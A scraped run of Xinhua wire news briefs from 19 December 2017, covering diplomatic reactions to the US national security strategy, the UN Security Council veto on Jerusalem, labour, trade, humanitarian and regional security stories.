Morocco's House of Advisors will continue to increase exchanges with the CPPCC National Committee to contribute to the development of bilateral relations, Benchamach said.
Source: Xinhua| 2017-12-19 22:36:56|Editor: yan

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LISBON, Dec. 19 (Xinhua) -- The leader of Portugal's largest trade union argued on Tuesday that manufacturing electric cars at the Volkswagen (VW) Autoeuropa assembly plant could solve the ongoing labor dispute there.

"The time has come for the Portuguese government, together with the multinational, to guarantee the conditions required for Autoeuropa to become an integral part of a new stage in VW's strategic production," said Armenio Carlos, secretary general of the General Confederation of Portuguese Workers (CGTP).

Carlos, whose comments came in an opinion piece for the Publico newspaper, was referencing an agreement between VW and the German government to invest up to 70 billion euros in electric cars.

Management and workers at Autoeuropa, in Palmela, a town some 40 km south of Lisbon, are locked in a pay dispute over new shift patterns.

The company is attempting to make the plant continuously operational, obliging staff to work on Saturdays. Management have offered workers a payrise, but refuse to meet staff demands that Saturday shifts be registered as overtime.

The dispute is being followed closely in Portugal where Autoeuropa is of great economic importance. The plant is one of the biggest direct foreign investments in Portugal and among the largest generators of export revenues.

The plant employs 3,400 staff. A worker's commission had originally agreed to the new shift patterns, but a subsequent union vote rejected the proposal.

Some have accused company directors of playing hardball by threatening to move Autoeuropa out of Portugal. Others think the CGTP is being too demanding.

The dispute has centered around the manufacture of the new T-Roc SUV, for which VW had made Autoeuropa its exclusive European base.

Observers see Carlos' mention of electric cars as an attempt to move the debate beyond the current work cycle and perhaps even encourage the government to intervene with some long-term thinking.
Source: Xinhua| 2017-12-19 22:52:02|Editor: Xiang Bo

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BEIJING, Dec. 19 (Xinhua) -- China on Tuesday urged the United States to stop deliberately distorting its strategic intentions and to abandon the Cold War mentality and the outdated concept of zero-sum game.

Foreign Ministry spokesperson Hua Chunying made the remarks at a daily press briefing in response to the newly released U.S. national security strategy report.

The report, released by U.S. President Donald Trump on Monday, referred to China and Russia as "revisionist powers," and listed them as "competitors" seeking to alter the status quo that favors the United States.

According to the report, both China and Russia are regarded as rival powers that are eroding U.S. security and prosperity, and will eventually overthrow the Washington-defined global order.

"China remains committed to the path of peaceful development and will firmly adhere to the opening-up strategy of mutual benefit and win-win results," said Hua, stressing that China has always been a builder of world peace, contributor to global development, and maintainer of international order.

Hua said China is confident in its development path, and China's achievements have been acknowledged by the international community. She emphasized that attempts by anyone or any country to twist the truth will be in vain.

"China will never seek development at the expense of other countries' interests, nor will it ever give up its own legitimate rights and interests," Hua said.

China and the United States are the world's largest developing country and developed country respectively, said Hua, adding that as the two largest economies, both countries have important responsibilities in maintaining world peace and development and share broad common interests.

"As to China-U.S. relations, cooperation is the only correct choice for both countries," said Hua, adding that differences between the two countries are not surprising as both are major powers.

According to Hua, China and the United States should properly handle their differences on the basis of respecting each other's core interests and major concerns.

"We hope the U.S. side will take China-U.S. relations objectively and rationally, and abide by its commitments," said Hua, emphasizing that maintaining a healthy and stable bilateral ties is the correct choice for the welfare of the two peoples and the international community.

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BEIJING, Dec. 19 (Xinhua) -- China and the United States, both major powers of today's world, need to work together to address global challenges on many fronts. However, Washington seems to disagree.

The United States introduced its new national security strategy Monday, which referred to China and Russia as "revisionist powers" and listed them as "competitors" trying to alter the status quo that favors the United States. Full story

News Analysis: Trump's speech, national security strategy contradictory: experts

CAIRO, Dec. 19 (Xinhua) -- U.S. President Donald Trump's speech on his national security strategy in many ways contradicted the document itself, experts in the Middle East said Tuesday.
Muslim worshipers shout slogans against U.S. President Donald Trump's recognition of Jerusalem as Israel's capital during Friday prayers in front of the Dome of the Rock at the al-Aqsa mosque compound in Jerusalem's Old City, on Dec. 8, 2017. (Xinhua/Muammar Awad)

UNITED NATIONS, Dec. 18 (Xinhua) -- The international community called on involved parties to hold negotiations to determine the status of Jerusalem after the United States on Monday vetoed a United Nations Security Council (UNSC) draft resolution.

The Egyptian Ambassador to the United Nations, Amr Abdellatif Aboulatta, said that the draft resolution sought to ensure that any attempts to alter the characteristics or demographic composition of the Old City of Jerusalem would have no effect, were null and void, and must be rescinded.

It also called on all parties not to establish diplomatic missions in Jerusalem.

The other 14 members of the Security Council voted in favor of the Egypt-drafted text but as the United States, a permanent member of the UNSC, has veto power, the draft resolution failed to be adopted.

In explaining the veto, U.S. ambassador to the United Nations Nikki Haley said it was the first U.S. veto in the Security Council in more than six years.

"We do it with no joy, but we do it with no reluctance," she told the Security Council.

Despite the fact that the vote was 14-1, Haley said the veto was not a source of embarrassment for the United States. "It should be an embarrassment to the remainder of the Security Council," she said, arguing that her country had the sovereign right to determine where or whether to establish its embassy in another country.

The other members of the Security Council hold that Israel has no sovereignty over all of Jerusalem, an issue that should be solved by the Israelis and Palestinians through negotiations.

Matthew Rycroft, the British ambassador to the United Nations, said his country disagrees with the U.S. decisions to unilaterally recognize Jerusalem as the capital of Israel and move the U.S. embassy to Jerusalem from Tel Aviv.

"These decisions are unhelpful to the prospects of peace in the region, an aim that all of us in this council remain committed (to)," he told the Security Council after the vote.

"The British embassy in Israel is based in Tel Aviv and we have no plans to move it," he added.

Rycroft said the British position on Jerusalem was clear and long-standing: "The status of Jerusalem should be determined through a negotiated settlement between the Israelis and Palestinians, and should ultimately be the shared capital of the Israeli and Palestinian states."

Britain regards East Jerusalem, which Israel captured in 1967, as part of the occupied Palestinian territories.

Wu Haitao, charge d'affaires of China's permanent mission to the United Nations, said the issue of Palestine, which is at the core of Middle East peace, is complicated and sensitive.

The issue of Jerusalem is particularly complicated and sensitive, and involves the basis for finding a solution to the Palestinian issue, he said.

A series of Security Council resolutions, including Resolution 2334, made stipulations on the issue of Jerusalem. The draft resolution put to vote on Monday is in line with previous Security Council resolutions and is a continuation of the contents and spirit of past resolutions, said Wu, explaining China's "yes" vote on the draft resolution.

China has consistently supported and pushed forward the Middle East peace process, he said.

"We support the just cause of restoring the legitimate national rights of the Palestinian people, support the establishment of a fully sovereign, independent State of Palestine based on the 1967 borders with East Jerusalem as its capital. Such a position of China will not change."

French ambassador to the United Nations Francois Delattre regretted the outcome of the vote, saying adoption should have been a foregone conclusion as the draft was in line with international consensus over the status of Jerusalem that was built in the past decades.

The decisions by U.S. President Donald Trump on Dec. 6 to recognize Jerusalem as the Israeli capital and to move the U.S. embassy to Jerusalem did not modify the common foundation on which all peace agreements must be based, he told the Security Council. "France does not recognize any sovereignty over Jerusalem."

"The result of the vote today translates the will of 14 members of this council to reaffirm their collective attachment to international law, in particular resolutions of this council, on a central issue, namely the status of Jerusalem. This is decisive for any prospects for peace. It underscores the willingness of the broad majority of the members of the council to not recognize any decision contrary to its resolutions."

Given its important role in Middle East peace, it is incumbent on the Americans to explain the compatibility of the Dec. 6 announcement with international consensus, without which no credible effort of peace can be conducted, he said.

Without agreement on Jerusalem, there will be no peace agreement, he noted.

France and the European Union believe that Jerusalem must be the capital of both states of Israel and Palestine according to modalities that must be defined by the parties through negotiations, he said. "No unilateral decision can replace this."

There is no alternative to a two-state solution, said the French envoy.

Earlier on Monday during a Security Council debate on the Middle East situation, Nikolay Mladenov, the UN special coordinator for the Middle East peace process, observed that violence flared up in the wake of the U.S. decision to recognize Jerusalem as the capital of Israel.

Since Dec. 6, the situation has become more tense with an increase in incidents, notably rockets fired from Gaza and clashes between Palestinians and Israeli security forces, Mladenov told the Security Council.

From Sept. 20 to Dec. 18, altogether 28 rockets and 12 mortar rounds were fired from Gaza toward Israel. In response, the Israeli Defense Forces continued to target a number of Hamas and Islamic Jihad military posts across the Gaza Strip in which two Palestinian militants and one civilian were killed, with at least 28 people injured, he said.

Since Dec. 7, there has been a visible increase in rockets fired by Gaza militants. Of the 40 projectiles fired between Sept. 20 and Dec. 18, 27 have been launched since Hamas called for an escalation. Four rockets were intercepted by the Iron Dome system. At least eight more rockets landed in Israel.

"I am particularly concerned as to the future of our collective efforts to achieve peace between Israelis and Palestinians," he said, warning that there is a growing risk that the parties may revert to more unilateral actions.

In the current environment, the continued absence of a credible proposal, which can become the basis of meaningful negotiations, is damaging the prospects for peace. The lack of significant steps on the ground that protect the viability of a two-state solution and support Palestinian statehood is undermining moderates and empowering radicals, he warned.
Source: Xinhua| 2017-12-19 23:07:09|Editor: yan

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LJUBLJANA, Dec. 19 (Xinhua) -- The working lunch scheduled in Brdo pri Kranju on Wednesday between Slovenian President Borut Pahor and four neighboring presidents of Italy, Hungary, Austria and Croatia has been postponed until January next year.

The exact date of the rescheduled meeting is yet to be announced, according to a press release from the Presidential Palace on Tuesday.

Neither the press release nor Slovenia's state media Slovenian Press Agency gave a reason for the postponement.

The meeting was meant to be held two days before Pahor is to be sworn in in the National Assembly for a new five-year term, according to an earlier report by Slovenian Press Agency.
Source: Xinhua| 2017-12-19 23:12:10|Editor: yan

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JAKARTA, Dec. 19 (Xinhua) -- The theme of 2018 for the five-country consultative group MIKTA, grouping Mexico, Indonesia, South Korea, Turkey and Australia, will be "Fostering Creative Economy and Contributing to Global Peace," MIKTA rotating chair Indonesia said on Tuesday.

The Indonesian chairmanship's theme was officially launched by Indonesia Deputy Foreign Minister A.M. Fachir in a symposium.

The theme would highlight three main elements under Indonesia's chairmanship that consisted of counter-terrorism and global security, peacekeeping and creative economy, he said.

MIKTA opens more opportunities for Indonesia to expand both collective and bilateral cooperation with fellow member countries in the the group in the fields of economy, trade, politics, security, education and social culture, Fachir said.

The symposium was aimed at exploring further cooperation among member countries under MIKTA frameworks.

Indonesia took the rotating chairmanship from Turkey at the 11th MIKTA foreign ministerial meeting in Istanbul.

MIKTA was founded as a forum to exchange views and consultation among member countries, promoting dialogues to discuss international issues of common concern.
Photo taken on Dec. 18, 2017, shows the United Nations Security Council voting on a draft resolution on the status of Jerusalem at the UN headquarters in New York. (Xinhua/UN Photo)

UNITED NATIONS, Dec. 18 (Xinhua) -- A Chinese envoy has called for unity of the United Nations Security Council (UNSC) and the international community at large over the issue of Jerusalem and for common effort toward peace in the Middle East.

After a vote in the UNSC on a draft resolution on the status of Jerusalem on Monday, Wu Haitao, charge d'affaires of China's permanent mission to the United Nations, said the issue of Palestine is at the core of Middle East peace and a root-cause issue.

The issue of Jerusalem is particularly complicated and sensitive, and involves the basis for finding a solution to the Palestinian issue, he told the Security Council.

A series of Security Council resolutions, including Resolution 2334, made stipulations on the issue of Jerusalem. The draft resolution put to a vote on Monday was in line with previous Security Council resolutions and is a continuation of the contents and spirit of past resolutions, said Wu, explaining China's "yes" vote on the draft resolution.

The Egyptian-drafted text won the support of 14 members of the Security Council, but was vetoed by the United States.

Wu called on the Security Council and the international community at large to remain united in an effort to de-escalate tensions concerning the status of Jerusalem for the sake of stability in the region and the Middle East peace process.

China has consistently supported and pushed forward the Middle East peace process, he said.

"We support the just cause of restoring the legitimate national rights of the Palestinian people, support the establishment of a fully sovereign, independent State of Palestine based on the 1967 borders with East Jerusalem as its capital. Such a position of China will not change."

China will continue to push for a political settlement of the Jerusalem issue on the basis of a two-state solution, following the guidance of Chinese President Xi Jinping's four-point proposal put forward in July, said Wu.

He called on the international community to adhere to relevant Security Council resolutions and strengthen their efforts for the resumption of negotiations in order to find a solution to key issues, including the final status of Jerusalem.
Source: Xinhua| 2017-12-19 23:27:14|Editor: Xiang Bo

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TOKYO, Dec. 19 (Xinhua) -- Japanese Prime Minister Shinzo Abe said on Tuesday that he wanted to raise the Sino-Japanese relationship to a "new stage," local media reported.

According to Japan's Kyodo News, Abe said during a speech in Tokyo that as 2018 marks the 40th anniversary of the signing of the China-Japan Treaty of Peace and Friendship, he wanted to take this opportunity to deepen high-level exchanges with China and elevate bilateral relations to a "new stage."

The Japanese premier has signaled his willingness to improve the Sino-Japanese relationship on a number of occasions recently.

Chinese President Xi Jinping met with Abe on Nov. 11 on the sidelines of the 25th Asia-Pacific Economic Cooperation Economic Leaders' Meeting in Vietnam's central city of Da Nang.

During the meeting, Xi said that China and Japan should, while bearing in mind the fundamental interests of the two peoples, correctly grasp the general direction of peace, friendship and cooperation, and work to enable the bilateral relations to keep improving and developing for the better through unremitting efforts and accumulating positive factors.

Abe, for his part, said the Japanese side is willing to work with China to push for the development of the strategic mutually-beneficial relationship between the two countries by marking the 40th anniversary of the signing of the China-Japan Treaty of Peace and Friendship next year.

Japan hopes to increase high-level exchanges with China, carry out reciprocal economic and trade cooperation, and explore cooperation in connectivity and under the Belt and Road Initiative, Abe said.

Abe mentioned the Belt and Road Initiative once again at a press conference in Nov. 14 in Manila, the Philippines, on the sidelines of the Association of Southeast Asian Nations summit, saying he hoped the China-proposed initiative will make contribution to world peace and prosperity, and Japan is willing to cooperate with China in this aspect.
Source: Xinhua| 2017-12-19 23:37:17|Editor: yan

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BEIJING, Dec. 19 (Xinhua) -- The Chinese mainland on Tuesday strongly condemned Taiwan authorities' suppression and persecution of pro-reunification entities and individuals.

An Fengshan, spokesperson for the Taiwan Affairs Office of the State Council, made the comment in response to questions about the detention of four officials from the pro-reunification New Party.

Prosecutors in Taiwan took them away and searched their homes Tuesday morning for alleged violations of the island's security regulations.

An hailed the New Party's stance of upholding the one-China principle and opposing "Taiwan independence," and condemned Taiwan authorities for indulging the separatists while suppressing and persecuting those who support peaceful reunification.

The mainland will closely follow the matter, said An.
Source: Xinhua| 2017-12-19 23:37:18|Editor: yan

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JUBA, Dec. 19 (Xinhua) -- The UN humanitarian agency on Tuesday called for swift and safe return of the six missing aid workers in South Sudan following clashes between government and opposition soldiers near Raga town on Sunday evening.

Alain Noudehou, the Humanitarian Coordinator for South Sudan, called on warring parties to the conflict to respect the neutrality of ongoing humanitarian operations in the world's youngest nation.

"The six aid workers, including one international and five national staff, working for two international and one national aid organizations, were traveling on Raja-Wau road when they went missing," Noudehou said in a statement issued in Juba.

He disclosed that the aid agencies were implementing food security, livelihoods, health, and nutrition interventions in a region with some of the highest malnutrition rates in war-torn country where intermittent fighting continues unabated despite ongoing efforts to find lasting peace.

Noudehou also reiterated the requirement on all parties to facilitate safe and unhindered access for humanitarian workers providing life-saving aid to vulnerable people throughout the country.

The South Sudan army (SPLA) had earlier told Xinhua that the SPLA-in opposition (SPLA-IO) rebels abducted some 10 people after they attacked two vehicles including a lorry that was moving from Raja to Mangayet which left two people dead.

SPLA deputy spokesman for the rebels, Lam Paul Gabriel said some of the missing aid workers belong to local NGO Solidarities International.

"The SPLA-IO forces also rescued four humanitarian staff whose identities and organization are yet to be established being used as shields by the government in the transportation of these military hard wares," Gabriel said, adding that the aid workers will be handed over as soon as possible to any concerned third party.

Humanitarian workers have been targeted with some being killed and others abducted by armed groups, and a total 92 aid workers have been killed in the more than four years of violence.

South Sudan descended into violence in December 2013 after political dispute between President Salva Kiir and his former deputy turned rebel chief Machar led to split within the SPLA, leaving soldiers to fight alongside ethnic lines.

The 2015 peace agreement to end the conflict was weakened after outbreak of renewed fighting in July 2016 caused the SPLA-IO rebel leader Machar to flee the capital.
Source: Xinhua| 2017-12-19 23:47:22|Editor: yan

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MOSCOW, Dec. 19 (Xinhua) -- The new U.S. national security strategy is imperial in nature, Kremlin spokesman Dmitry Peskov said Tuesday.

"A quick reading of the strategy, especially of those parts that somehow mention our country, on the whole, reveal the imperial character of the document," Peskov told reporters.

"There is a persistent reluctance to renounce the concept of a unipolar world, as well as a rejection of a multipolar world," he said.

However, the spokesman said the document also contained "some modest positive points," including a willingness to cooperate in areas that correspond to U.S. interests.

All relevant departments of the Russian government will thoroughly examine the 68-page long document, he said.

On Monday, the administration of U.S. President Donald Trump published a new version of the country's national security strategy, outlining its worldwide interests, goals, and objectives relevant to U.S. security.

The report referred to Russia and China as "revisionist powers," listing them as "competitors" seeking to alter the status quo that favors the United States.
Source: Xinhua| 2017-12-19 23:57:25|Editor: yan

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DUBAI, Dec. 19 (Xinhua) -- A senior official of the United Arab Emirates (UAE) on Tuesday said that the Saudi-led coalition military campaign against the Houthi rebels was necessary.

Minister of state for foreign affairs Anwar Gargash tweeted that "with every Iranian missile launched by the Houthi militia against civilian targets, it becomes clear that the storm is necessary."

Earlier in the day, Yemen's Houthi movement announced firing of a ballistic missile towards the kingdom's royal palace in the capital Riyadh, Houthi-controlled Saba news agency reported.

A senior Houthi military official said that the ballistic missile, Burkan H2, was fired towards the Saudi royal palace of Ymamah in Riyadh, while Saudi-led coalition spokesperson Turki Al Maliki said it targeted a residential area in southern Riyadh.

The spokesperson added that the missile was intercepted before causing injuries or damages.

Saudi Arabia accused Iran of trafficking missiles to Yemen, indicating that the missile intercepted 25 km away from Riyadh was made in Iran, Al Ekhbariyal local news channel reported.

The UAE and Saudi Arabia have been fighting the Shiite Houthi rebels in a pan-Arab coalition since March 2015 in order to restore Yemen's President Abd Rabbu Mansour Hadi, who was ousted by Houthis in September 2014.
Nigerian villagers fetch water flowing from a tap island that is part of a new treatment system upgraded by Chinese firm CGC Nigeria Limited. (Xinhua)

by Olatunji Saliu and Zhang Baoping

ABUJA, Dec. 19 (Xinhua) -- Fetching water freely from a public tap constructed adjacent to her house on Monday, Rita Okoye who lives in Kwali, a rural community situated near Nigeria's capital city of Abuja, has felt much relieved compared to her searching all-day for water to complete her daily chores in the past.

Pregnant with her sixth child, Okoye, in her second trimester, had lived together with her family for seven years in that community amid the shortage of potable water.

The community, with a population of 85,837, used to have a public water supply scheme which was constructed 30 years ago and had undergone several rehabilitations since establishment.

A Nigerian child drinks water from a tap island that is among facilities upgraded with the help of Chinese firm CGC Nigeria Limited. (Xinhua)

The public water scheme was last rehabilitated in 2012, and it had been abandoned since then.

According to Okoye, for five years since 2012, most residents of Kwali depended on mobile water vendors who sold untreated water to them in jerrycans.

"We spent so much money, at least 36,000 naira (approximately 100 U.S. dollars) a year buying untreated water from those vendors," the expectant mother told Xinhua in an interview.

On Monday, aid came to the local residents when the Chinese firm, CGC Nigeria Limited handed over an improved water source to the community.

The Chinese company, at a ceremony held to hand over the improved water source to the community, said its aim was to fulfill its corporate social responsibility goals to the people of Kwali.

Ye Shuijin, the managing director of the Chinese firm in Nigeria, said in fulfilling its social responsibility goal to the community, the company has installed a solar-powered system to replace the standby generator being used to operate the waterworks, thereby reducing the operational cost and the frequency of the electricity generator maintenance.

It also rehabilitated and upgraded a 140-cubic meter ground surface tank, a 190-cubic meter elevated tank, two separate 100-cubic meter overhead tanks and two boreholes. It also provided and constructed four new boreholes and carried out water reticulation with the construction of 11 tap islands, to mention a few.

From this improved water source, the supply cuts across the entire town, running through the schools, markets, offices, and homes of the local people.

At least 3,000 people can have access to potable water from 29 fetching points every day due to the Chinese firm's efforts, Ye noted.

A Nigerian villager fetches water flowing from a tap island that is part of a new treatment system upgraded by Chinese firm CGC Nigeria Limited. (Xinhua)

Many of the local residents who trooped out to welcome their Chinese guests and local officials to the handing over ceremony were full of praises to the Chinese firm, particularly for solving a major perennial problem of the Kwali community.

Onna Anselm, a trader who has lived in the community for 13 years, said the improved water supply gift by the Chinese firm came at the right time.

"We're already in the dry season when water is usually very scarce here. But at this time, the problem has been solved because people can now walk to the fetching points to get potable water from the taps," Anselm said.

After rehabilitation by the company, the water supply scheme has been developed to compose of about 4,400-meter length of a new pipeline.

"This will greatly improve the standard of living of the people, as indeed, water is life," the local resident added.

A Nigerian villager fetches water flowing from a tap island that is part of a new treatment system upgraded by Chinese firm CGC Nigeria Limited. (Xinhua)

While launching the waterworks for use, minister of Nigeria's Federal Capital Territory, Mohammed Bello urged the people of the community to take good care and ownership of the project to avoid damage of the water supply source.

Hailing the Chinese firm as a very important stakeholder in the Federal Capital Territory, Bello said that the firm has decided to support local people through the rehabilitation of the waterworks. "And for us, we are immensely grateful to the company and also to the entire group in China for this laudable project," Bello added.
Source: Xinhua| 2017-12-20 00:02:26|Editor: yan

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CHENGDU, Dec. 19 (Xinhua) -- A Chinese company that makes toilet paper, napkins and facial tissue has plans to make products from an unexpected raw material: panda poop.

The China Conservation and Research Center for the Giant Panda signed an agreement with Sichuan Qianwei Fengsheng Paper Company on Monday, allowing the latter to recycle panda feces and food debris from the center's three bases in Dujiangyan, Wolong and Bifengxia.

According to Huang Yan, a researcher from the center, an adult panda consumes 12 to 15 kg of bamboo every day and produces more than 10 kg of fiber-rich feces after absorbing the fructose in bamboo.

Pandas also produce about 50 kg of food waste daily as the bears spit out bamboo after chewing it or simply leave it uneaten. In the past, this debris and dung was discarded or used as manure mixture for fertilizer.

In order to turn bamboo into paper, it is necessary to break down fructose and extract the fiber, which the pandas are able to do through digestion, said Yang Chaolin, president of the company.

The company will collect the raw material every three to seven days. It will be boiled and pasteurized under high temperatures before being turned into household paper, according to Zhou Chuanping, the company's deputy general manager.

"It will not be used to make paper for writing now," Zhou said. "To ensure safety, the paper will undergo bacteria testing before it enters the market," said Zhou.
Source: Xinhua| 2017-12-20 00:02:26|Editor: yan

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ADDIS ABABA, Dec. 19 (Xinhua) -- The joint taskforce of the African Union (AU), the European Union (EU), and the United Nations (UN) on migration has vowed to strengthen coordination toward dismantling human trafficking and criminal networks.

The joint AU-EU-UN taskforce has recently discussed ways of addressing the migration situation in Libya, according to an AU statement on Tuesday.

The work of the taskforce is to be coordinated with the "recognized" Libyan authorities with the main goal of dismantling trafficking and criminal networks, while helping countries of origin and transit for migrants in tackling the root causes of migration via development opportunities and stability.

The AU Commissioner for Social Affairs, Amira El Fadil; the EU High Representative for Foreign Affairs and Security Policy/Vice-President of the European Commission, Federica Mogherini; the Director General of the International Organization for Migration (IOM), William Lacy Swing; and UNHCR's Assistant High Commissioner for Protection, Volker Turk, met last Thursday in Brussels, Belgium, to dwell upon the issue.

The officials have discussed the encouraging results of initiatives put in place and a set of concrete actions aimed at addressing the dramatic situation of migrants and refugees in particular inside Libya, following the formal launch of the Taskforce on Dec. 4th in Ethiopia's capital Addis Ababa.

Since the emergency voluntary humanitarian return (VHR) operation started in line with the agreement reached during the AU-EU summit in Abidjan, Cote d'Ivoire, on Nov. 28th, 3,100 migrants have been assisted to return from Libya to their countries of origin.

This brings up the number of migrants that have been assisted by the IOM to return home safely to a total of 16,561 persons, compared to 2,700 for the whole of 2016.

All participants have confirmed the shared commitment to provide VHR assistance to an additional 15,000 migrants by February 2018.

In this context, IOM will scale up the reception, reintegration and community-based support to returnees and its counter-trafficking efforts and its assistance to victims of trafficking, according to the statement.

It is of paramount importance that the evacuation can rely on protection sensitive identification and disembarkation procedures in Libya for all nationalities, notably to cater for the needs of those who are in need of protection and unaccompanied minors.

The taskforce will work together with the Libyan authorities to ensure unhindered access for international organizations and NGOs to detention centers and to allow the full and transparent registration of all refugees and migrants both at the disembarkation points and in detention centers by international organizations.

In order to strengthen action targeting migrant smugglers and human traffickers, the parties have agreed to coordinate positions in Addis Ababa, New York and in Geneva to promote African, European and international initiatives aiming at reducing demand, disrupting the supply chain and bringing perpetrators to justice.

They have stressed the importance to cooperate with key origin, transit and destination countries on judicial as well as on law enforcement level to exchange information, build capacity and counter the culture of impunity and vowed to support enhanced efforts by Libya in the area.

The taskforce parties have reconfirmed their commitment to build stronger security architecture in the region, including through targeted action against all forms of organized crime, especially trafficking in human beings.

The AU, the EU, and the UN have agreed to meet on a regular basis at operational level and hold joint mission at senior official level to develop the operations further in close coordination with Libyan authorities.
Source: Xinhua| 2017-12-20 00:12:30|Editor: yan

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ARUSHA, Tanzania, Dec. 19 (Xinhua) -- Tanzania's coffee production is expected to go down in the next harvesting season, due to prolonged drought in the key producing areas, the Tanzania Coffee Board (TCB) said on Tuesday.

TCB acting Director General, Primus Kimaryo, said that total coffee production in 2016/2017 is at an average of 50,000 tonnes, "but things will be different in the 2017/2018, whereby it is expected to be at an average of only 43,000 tonnes."

He cited prolonged drought in key coffee producing areas. The main growing regions in Tanzania include Kilimanjaro, Arusha, Tanga, Morogoro, Mbeya, Ruvuma, Iringa, Kigoma, and Kagera.

Coffee exports earned Tanzania 135 million U.S. dollars in foreign exchange during the 2015/2016 farming season.

Kimaryo, however, said: "We're currently training farmers on ways of mitigating climate change so that they continue producing quality coffee beans despite weather changes."

"We're also looking on new markets for our coffee so that what farmers produce get market," he said.

Tanzania is the fourth largest coffee producer in Africa behind Ethiopia, Uganda and Cote D'Ivoire.

Currently, most of the coffee from Tanzania is exported to Germany, Japan, Italy, Belgium and France.

Tanzania's Deputy Minister for Agriculture, Marry Mwanjelwa, viewed coffee as one of the country's foreign exchange earner, though there are myriad challenges including weather changes as well as smuggling.

"I know we have some challenges of coffee smuggling through 'direct coffee export' but I appeal to TCB to ensure there are no coffee smuggling incidents anymore," she said.

Coffee is one of Tanzanian's primary agricultural export crops, representing about 5 percent of total exports, 24 percent of traditional cash crops.

More than 90 percent of Tanzanian coffee comes from smallholder farmers. The industry provides direct income to more than 450,000 farmer families and also benefits directly the livelihoods of about two million Tanzanians, about one third of the population.
Source: Xinhua| 2017-12-20 00:42:38|Editor: yan

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DHAKA, Dec. 19 (Xinhua) -- Myanmar and Bangladesh formed a Joint Working Group (JWG) on Tuesday for the repatriation of hundreds of thousands of Rohingya refugees.

The 30-member committee was formed at a meeting between the two neighboring countries in Dhaka with 15 officials each from Bangladesh and Myanmar.

Bangladeshi Foreign Minister Abul Hassan Mahmood Ali told journalists that the JWG will be headed by Foreign Secretary Md Shahidul Huq for Bangladesh and the Myanmar side will be headed by Myanmar Foreign Ministry's Permanent Secretary Myint Thu.

The agreed Terms of Reference reportedly mandates the JWG to undertake all necessary measures to start the safe and voluntary return, resettlement and reintegration process of displaced Myanmar residents, as envisaged in the "Arrangement on Return of Displaced Persons from Rakhine State" signed by Foreign Minister Ali and U Kyaw Tint Swe, union minister for the Office of the State Counselor on Nov. 23

Over 600,000 Rohingya refugees have reportedly fled to Bangladesh since Aug. 25 following fresh violence in Myanmar's western Rakhine state.
Source: Xinhua| 2017-12-20 00:42:39|Editor: yan

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HAVANA, Dec. 19 (Xinhua) -- A Cuban medical brigade has returned to Havana after providing health services in Sierra Leone for three months, the official daily "Juventud Rebelde" reported on Tuesday.

When arriving Monday night at Jose Marti International Airport, Yoel Torres, head of the team, said that the island's doctors took care of more than 11,000 cases, especially respiratory infections, malaria and intestinal parasitism.

"The Government of Sierra Leone organized refugee and homeless camps, and in those facilities we provided service in spite of adverse conditions. The population thanked the Cuban presence during these months," Torres was quoted by the newspaper.

This was the 27th brigade of Cuba's Henry Reeve International Medical Brigade created by the late President Fidel Castro in 2005, and sent by the Cuban government to offer medical care overseas.

The island's medical teams have cooperated in 67 countries since 1962, according to official data from the Health Ministry.
Source: Xinhua| 2017-12-20 00:47:40|Editor: yan

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KAMPALA, Dec. 19 (Xinhua) -- Ugandan and the Democratic Republic of the Congo (DRC) authorities have agreed to strengthen liaison mechanisms and share intelligence information in a bid to defeat the Allied Democratic Forces (ADF) rebels following their deadly attack on UN peacekeepers.

Brig. Richard Karemire, Ugandan military spokesperson, told Xinhua on Tuesday that the Ugandan government and DRC's North Kivu officials held a bilateral security meeting in the western Ugandan district of Mbarara over the weekend.

"Sharing information will help forces to be better prepared to deter infiltration and possible attacks by the ADF," said Karemire.

The Ugandan delegation led by Bright Rwamirama, state minister for defense and veteran affairs, met with DRC's North Kivu province regional officials.

The ADF attacked the UN peacekeepers in eastern DRC's North Kivu province on Dec. 7, killing at least 15 Tanzanian blue helmets, five DRC soldiers and wounded 53 others.

Uganda last week called for the operationalization of a regional military center in the western district of Kasese to intensify the fight against the ADF.

The center -- Joint Regional Military Center of the International Conference on the Great Lakes Region (ICGLR) -- was established in 2016 to monitor and gather intelligence on rebel activities and share it with member states.

ICGLR is a regional intergovernmental body that comprises 12 countries -- Uganda, Angola, Burundi, Central African Republic, DRC, Republic of Congo, Rwanda, Sudan, Kenya, South Sudan, Tanzania and Zambia.

The ADF is accused of increased killings and massacres of troops and civilians, rape and abductions over the past three months in eastern DRC.
Source: Xinhua| 2017-12-20 01:12:46|Editor: yan

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KUWAIT CITY, Dec. 19 (Xinhua) -- Kuwait and Tajikistan are eager to bolster ties on all possible domains, especially within the economic sector, said Kuwait Chamber of Commerce and Industry (KCCI) Tuesday.

Meeting with visiting Tajik Minister of Economic Development and Commerce Nematullo Hikmatullozoda, KCCI Chairman Ali Al-Ghanim said that both nations are eager to seek more venues of cooperation.

He called on the Tajik delegation to provide all the necessary data to inform Kuwait on business opportunities in Tajikistan.

Hikmatullozoda said that Tajikistan is interested in boosting economic cooperation with Kuwait, affirming that the current visit by the Tajik delegation was aimed at improving commercial exchange between the two nations.

He said that his meeting with the KCCI chairman focused on the business and investment opportunities in Tajikistan.

The Tajik minister took part in the second Kuwaiti-Tajik joint economic, commercial, and scientific committee meeting held on Dec. 18-19.
Source: Xinhua| 2017-12-20 01:22:48|Editor: yan

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KIEV, Dec. 19 (Xinhua) -- The Ukrainian government plans to sell up to 2 billion U.S. dollars worth of Eurobonds in 2018, the country's Deputy Finance Minister said here on Tuesday.

Speaking during an annual finance ministry's press conference, Yuriy Butsa said that the exact amount of the Eurobond placement will depend on the market situation and on the aid attracted by Ukraine from international lenders.

This year, Ukraine raised 3 billion dollars by issuing 15-year Eurobonds with a yield rate of 7.375 percent. It was the country's first borrowing on international capital markets since 2013.

The Eurobond placement is helping Ukraine to serve its state debt. In 2018, the East European country has to repay about 4 billion dollars of sovereign and state-guaranteed debt.
Source: Xinhua| 2017-12-20 01:32:52|Editor: yan

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SKOPJE, Dec. 19 (Xinhua) -- Seven investigations involving 17 suspects for abuse of office, fraud and other crimes were launched Tuesday by Macedonia's Special Prosecutor Office (SPO), Prosecutor Fatime Fetai told a press conference.

Two former officials of the Macedonian Interior Ministry, a former MP, a former health minister, a former minister of agriculture, forestry and water economy, leaders of two political parties who were wiretapped in a conversation over the destruction of an illegally building, former Bitola mayor and other officials of this commune are under investigation, Fetai told reporters.

Violations in procurement procedures, abuses with state funds and exertion of power for personal profits are some of the charges raised against the 17 suspects.

Special Public Prosecutor Katica Janeva told the press conference that SPO mandate should be extended beyond 2020 so that the office focuses on high-profile corruption cases.

She stressed that the SPO would file other indictments if competent institutions found ways to extend its mandate.

